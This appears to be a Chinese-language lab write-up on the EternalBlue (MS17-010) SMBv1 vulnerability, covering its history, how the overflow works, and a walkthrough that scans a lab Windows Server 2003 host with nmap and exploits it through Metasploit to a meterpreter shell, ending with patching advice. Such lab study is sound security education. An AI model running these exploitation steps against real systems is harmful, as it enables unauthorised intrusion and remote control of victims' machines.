概述:

永恒之蓝(英语:EternalBlue)是美国国家安全局开发的漏洞利用程序,于2017年4月14日被黑客组织影子掮客泄漏。该工具利用445/TCP端口的文件分享协议的漏洞进行散播。

尽管微软于2017年3月14日已发布补丁修复该漏洞,但在5月12日WannaCry勒索软件利用此漏洞传播时,大量未安装补丁的用户仍然受害。

鉴于WannaCry的严重性,微软罕见地为已终止支持的Windows XP、Windows 8和Windows Server 2003发布了紧急安全更新。

2017年6月27日,勒索软件NotPetya再次利用永恒之蓝漏洞在欧洲传播。与普通勒索软件不同,NotPetya以破坏而非勒索为目的,即使支付赎金也无法恢复文件。真正的Petya作者随后公布了解密密钥,并声明与此次攻击无关。

原理:

永恒之蓝利用的是Windows系统文件共享功能中一个严重的远程代码执行漏洞。攻击者无需用户名和密码,只要目标机器的445端口是开放的,就可以通过网络直接发送一段精心构造的数据包,在目标系统上执行任意代码。

核心漏洞:SMBv1 协议中的“缓冲区溢出”

永恒之蓝攻击的是Windows的SMBv1 服务器消息块协议。这个协议主要用于网络上的文件共享、打印机共享等。漏洞的核心是一个经典的 缓冲区溢出 漏洞。

  1. 什么是缓冲区?
    我们可以把缓冲区想象成一个有固定容量的“容器”或“货架”,用来临时存放程序处理的数据。
  2. 溢出是如何发生的?
    在SMBv1协议处理特定的SMB请求(尤其是与文件事务相关的SMBv1 TRANS2请求)时,程序没有正确地检查用户输入数据的长度。
    • 攻击者构造一个超长的、畸形的数据包。
    • 当Windows系统收到这个数据包时,会按照SMB协议去解析它。
    • 由于没有进行长度校验,这个超长的数据会“撑爆”系统预先分配好的那个“缓冲区”,导致多出来的数据覆盖到旁边内存区域。

关键步骤:从溢出到控制

仅仅让程序崩溃(造成蓝屏)不是攻击者的目的,他们的目标是控制你的电脑。永恒之蓝通过以下精妙的步骤实现了这一点:

  1. 覆盖关键数据,劫持程序流程:
    被“撑爆”的缓冲区旁边的内存区域,存放着一些关键数据,比如函数返回地址。攻击者精心设计溢出数据,用他们指定的一个内存地址去覆盖这个返回地址。
  2. 利用“Shellcode”执行命令:
    在溢出的数据中,攻击者会嵌入一小段恶意代码,称为 “Shellcode” 。这段代码的功能通常是:下载并执行勒索软件(如WannaCry)的后端负载,或者在系统上开一个具有高权限的后门
  3. 触发漏洞,跳转到攻击代码:
    当被攻击的程序(SMB服务)处理完这个畸形数据包,准备返回时,它会去读取那个被覆盖的“返回地址”。这个地址现在指向的是攻击者安排的位置。
  4. 内核态权限提升:
    这里是最精妙也最危险的一步。永恒之蓝利用了一个名为 “DoublePulsar” 的后门。在溢出发生后,Shellcode并不会直接在用户权限下运行,而是利用Windows内核中的一个机制,将执行流程切换到内核模式
    • 用户模式:普通程序的运行级别,权限受限。
    • 内核模式:操作系统的核心运行级别,拥有对系统的完全控制权。
      通过一个精心构造的“任意写入”原语,攻击者可以将自己的Shellcode注入到内核空间,并提升其权限,使其以系统最高权限执行。

攻击流程总结

一个完整的永恒之蓝攻击可以概括为以下几步:

  1. 扫描:攻击者在网络上扫描开放了445端口的Windows机器。
  2. 发送恶意包:向目标机器的445端口发送利用SMBv1缓冲区溢出漏洞的精心构造的数据包。
  3. 触发溢出:目标系统的SMB服务处理该数据包,发生缓冲区溢出,关键内存地址被覆盖。
  4. 内核提权:利用DoublePulsar技术,将恶意Shellcode注入内核并提升至系统权限。
  5. 执行载荷:在内核态执行Shellcode,通常会从攻击者控制的服务器下载并运行最终的恶意软件(如WannaCry勒索病毒)。
  6. 横向移动:被攻陷的机器会变成一个跳板,继续在内部网络中扫描和攻击其他存在漏洞的机器,形成链式反应,这也是WannaCry能迅速蔓延全球的原因。

危害

  • 无需用户交互:用户不需要点击任何链接或打开任何文件,只要电脑开机并联网,就可能被攻击。
  • 高权限:直接获取系统内核权限,可以为所欲为。
  • 蠕虫式传播:结合了漏洞利用和蠕虫特性,可以自我复制和传播。

环境:

Windows Server 2003 ip: 192.168.126.128 关闭防火墙

Kali ip: 192.168.126.129

Windows Server 2003

ip地址: 192.168.126.128

关闭防火墙

Kali

ip a

192.168.126.129

漏洞利用:

1.使用nmap扫一下该网段主机的存活情况

nmap -sS 192.168.126.0/24

找到 IP为:192.168.126.128 的主机开启

2.扫描该主机端口从1-1000的开放情况

nmap -p 1-1000 192.168.126.128

3.扫描该主机的操作系统类型

nmap -O 192.168.126.128

4.扫描该主机上的漏洞

nmap --script=vuln 192.168.126.128

存在 ms17-010 永恒之蓝

Metasploit项目是一个旨在提供安全漏洞信息计算机安全项目,可以协助安全工程师进行渗透测试(penetration testing)及入侵检测系统签名开发。

Metasploit项目最为知名的子项目是开源的Metasploit框架,一套针对远程主机进行开发和执行“exploit代码”的工具。其他重要的子项目包括Opcode数据库、shellcode档案、安全研究等内容。

Metasploit项目知名的功能还包括反取证与规避工具,其中的某些工具已经内置在Metasploit Framework里面。

Metasploit(MSF)是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。

它本身附带数百个已知软件漏洞,是一款专业级漏洞攻击工具

因为只要掌握MSF的使用方法,每个人都可以使用MSF来攻击那些未打过补丁或者刚刚打过补丁的漏洞。

5.进入工具

msfconsole

6.搜索相关漏洞

search ms17-010

7.选择模块

use 10 远程执行代码

8.显示配置项

show options

img

9.设置一下RHOSTS(靶机的ip地址)

set RHOSTS 192.168.126.128

10.执行攻击

run 或者 exploit

运行成功会出现 meterpreter >

Meterpreter 是 Metasploit 的一个扩展模块,可以调用 Metasploit 的一些功能,
对目标系统进行更深入的渗透,如获取屏幕、上传/下载文件、创建持久后门等。

help命令可以查看可以使用哪些命令

screenshot

xdg-open /root/KMSzAlpc.jpeg

run vnc

shell

预防方案

  • 打开防火墙,安装杀毒软件。
  • 关闭445端口及不必要的服务。
  • 安装对应补丁。

参考文章:

https://blog.csdn.net/qq_61839115/article/details/129951295

https://blog.csdn.net/m0_65712192/article/details/127637917